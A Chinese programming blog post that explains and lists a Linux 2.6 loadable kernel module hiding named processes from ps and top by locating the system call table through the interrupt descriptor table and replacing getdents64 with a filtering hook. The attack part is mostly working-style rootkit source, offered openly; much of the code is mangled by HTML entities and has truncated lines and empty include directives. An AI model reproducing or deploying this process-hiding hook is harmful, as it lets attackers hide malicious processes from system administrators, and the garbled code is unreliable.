热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

在Linux2.6内核中实现隐藏进程的技术方法与实践

本文探讨了在Linux2.6内核中实现进程隐藏的技术方法与实践。通过分析系统调用`sys_getdents`的工作原理,提出了一种有效的方法来隐藏指定的进程。该方法通过对内核模块进行修改,拦截并过滤掉目标进程的相关信息,从而在常用的进程查看命令(如`ps`和`top`)中无法显示这些隐藏的进程。实验结果表明,该方法在实际应用中具有较高的隐蔽性和稳定性。

很早以前的小程序,比较简单但是觉得有趣

原理很简单,Linux查看进程的命令ps是通过系统调用sys_getdents实现,sys_getdents用户获取一个指定路径下的目录条目,实际上就是枚举

/proc/ 下的pid,这样我们只需要hook一下sys_getdents,把相应的要隐藏的pid信息去掉即可。

以下是LKM代码,在Linux-2.6.14并运行成功

#include

#include

#include

#include

#include

#include

#include

#include

#define CALLOFF 100

//使用模块参数来定义需要隐藏的进程名

char *processname;

module_param(processname, charp, 0);

struct {

unsigned short limit;

unsigned int base;

} __attribute__ ((packed)) idtr;

struct {

unsigned short off1;

unsigned short sel;

unsigned char none,

flags;

unsigned short off2;

} __attribute__ ((packed)) * idt;

void** sys_call_table;

asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);

char * findoffset(char *start)

{

char *p;

for (p = start; p

if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')

return p;

return NULL;

}

int myatoi(char *str)

{

int res = 0;

int mul = 1;

char *ptr;

for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {

if (*ptr <&#39;0&#39; || *ptr > &#39;9&#39;)

return (-1);

res &#43;&#61; (*ptr - &#39;0&#39;) * mul;

mul *&#61; 10;

}

return (res);

}

struct task_struct *get_task(pid_t pid)

{

struct task_struct *p &#61; get_current(),*entry&#61;NULL;

list_for_each_entry(entry,&(p->tasks),tasks)

{

if(entry->pid &#61;&#61; pid)

{

printk("pid found\n");

return entry;

}

}

return NULL;

}

static inline char *get_name(struct task_struct *p, char *buf)

{

int i;

char *name;

name &#61; p->comm;

i &#61; sizeof(p->comm);

do {

unsigned char c &#61; *name;

name&#43;&#43;;

i--;

*buf &#61; c;

if (!c)

break;

if (c &#61;&#61; &#39;\\&#39;) {

buf[1] &#61; c;

buf &#43;&#61; 2;

continue;

}

if (c &#61;&#61; &#39;\n&#39;) {

buf[0] &#61; &#39;\\&#39;;

buf[1] &#61; &#39;n&#39;;

buf &#43;&#61; 2;

continue;

}

buf&#43;&#43;;

}

while (i);

*buf &#61; &#39;\n&#39;;

return buf &#43; 1;

} int get_process(pid_t pid)

{

struct task_struct *task &#61; get_task(pid);

char *buffer[64] &#61; {0};

if (task)

{

get_name(task, buffer);

if(strstr(buffer,processname))

return 1;

else

return 0;

}

else

return 0;

}

asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)

{

//added by lsc for process

long value;

struct inode *dinode;

int len &#61; 0;

int tlen &#61; 0;

struct linux_dirent64 *mydir &#61; NULL;

//end

//在这里调用一下sys_getdents,得到返回的结果

value &#61; (*orig_getdents) (fd, dirp, count);

tlen &#61; value;

//遍历得到的目录列表

while(tlen > 0)

{

len &#61; dirp->d_reclen;

tlen &#61; tlen - len;

printk("%s\n",dirp->d_name);

//在proc文件系统中&#xff0c;目录名就是pid,我们再根据pid找到进程名

if(get_process(myatoi(dirp->d_name)) )

{

printk("find process\n");

//发现匹配的进程&#xff0c;调用memmove将这条进程覆盖掉

memmove(dirp, (char *) dirp &#43; dirp->d_reclen, tlen);

value &#61; value - len;

}

if(tlen)

dirp &#61; (struct linux_dirent64 *) ((char *)dirp &#43; dirp->d_reclen);

}

return value;

}

void **get_sct_addr(void)

{

unsigned sys_call_off;

unsigned sct &#61; 0;

char *p;

asm("sidt %0":"&#61;m"(idtr));

idt &#61; (void *) (idtr.base &#43; 8 * 0x80);

sys_call_off &#61; (idt->off2 <<16) | idt->off1;

if ((p &#61; findoffset((char *) sys_call_off)))

sct &#61; *(unsigned *) (p &#43; 3);

return ((void **)sct);

}

static void filter_exit(void)

{

if (sys_call_table)

sys_call_table[__NR_getdents64] &#61; orig_getdents;

}

static int filter_init(void)

{

//得到sys_call_table的偏移地址

sys_call_table &#61; get_sct_addr();

if (!sys_call_table) {

printk("get_act_addr(): NULL...\n");

return 0;

} else

printk("sct: 0x%x\n", (unsigned int)sys_call_table);

//将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents

orig_getdents &#61; sys_call_table[__NR_getdents64];

sys_call_table[__NR_getdents64] &#61; hacked_getdents;

return 0;

}

module_init(filter_init);

module_exit(filter_exit);

MODULE_LICENSE("GPL");



推荐阅读
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • 从 .NET 转 Java 的自学之路:IO 流基础篇
    本文详细介绍了 Java 中的 IO 流,包括字节流和字符流的基本概念及其操作方式。探讨了如何处理不同类型的文件数据,并结合编码机制确保字符数据的正确读写。同时,文中还涵盖了装饰设计模式的应用,以及多种常见的 IO 操作实例。 ... [详细]
  • 深入探讨CPU虚拟化与KVM内存管理
    本文详细介绍了现代服务器架构中的CPU虚拟化技术,包括SMP、NUMA和MPP三种多处理器结构,并深入探讨了KVM的内存虚拟化机制。通过对比不同架构的特点和应用场景,帮助读者理解如何选择最适合的架构以优化性能。 ... [详细]
  • 本文介绍了Java并发库中的阻塞队列(BlockingQueue)及其典型应用场景。通过具体实例,展示了如何利用LinkedBlockingQueue实现线程间高效、安全的数据传递,并结合线程池和原子类优化性能。 ... [详细]
  • 在多线程编程环境中,线程之间共享全局变量可能导致数据竞争和不一致性。为了解决这一问题,Linux提供了线程局部存储(TLS),使每个线程可以拥有独立的变量副本,确保线程间的数据隔离与安全。 ... [详细]
  • 实体映射最强工具类:MapStruct真香 ... [详细]
  • 本文详细介绍了Java中org.neo4j.helpers.collection.Iterators.single()方法的功能、使用场景及代码示例,帮助开发者更好地理解和应用该方法。 ... [详细]
  • 优化ListView性能
    本文深入探讨了如何通过多种技术手段优化ListView的性能,包括视图复用、ViewHolder模式、分批加载数据、图片优化及内存管理等。这些方法能够显著提升应用的响应速度和用户体验。 ... [详细]
  • Explore how Matterverse is redefining the metaverse experience, creating immersive and meaningful virtual environments that foster genuine connections and economic opportunities. ... [详细]
  • 本文介绍如何使用Objective-C结合dispatch库进行并发编程,以提高素数计数任务的效率。通过对比纯C代码与引入并发机制后的代码,展示dispatch库的强大功能。 ... [详细]
  • 本文详细介绍如何使用Python进行配置文件的读写操作,涵盖常见的配置文件格式(如INI、JSON、TOML和YAML),并提供具体的代码示例。 ... [详细]
  • 深入理解Tornado模板系统
    本文详细介绍了Tornado框架中模板系统的使用方法。Tornado自带的轻量级、高效且灵活的模板语言位于tornado.template模块,支持嵌入Python代码片段,帮助开发者快速构建动态网页。 ... [详细]
  • UNP 第9章:主机名与地址转换
    本章探讨了用于在主机名和数值地址之间进行转换的函数,如gethostbyname和gethostbyaddr。此外,还介绍了getservbyname和getservbyport函数,用于在服务器名和端口号之间进行转换。 ... [详细]
  • 本文详细探讨了VxWorks操作系统中双向链表和环形缓冲区的实现原理及使用方法,通过具体示例代码加深理解。 ... [详细]
  • 深入了解 Windows 窗体中的 SplitContainer 控件
    SplitContainer 控件是 Windows 窗体中的一种复合控件,由两个可调整大小的面板和一个可移动的拆分条组成。本文将详细介绍其功能、属性以及如何通过编程方式创建复杂的用户界面。 ... [详细]
author-avatar
蓝色流星魂
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有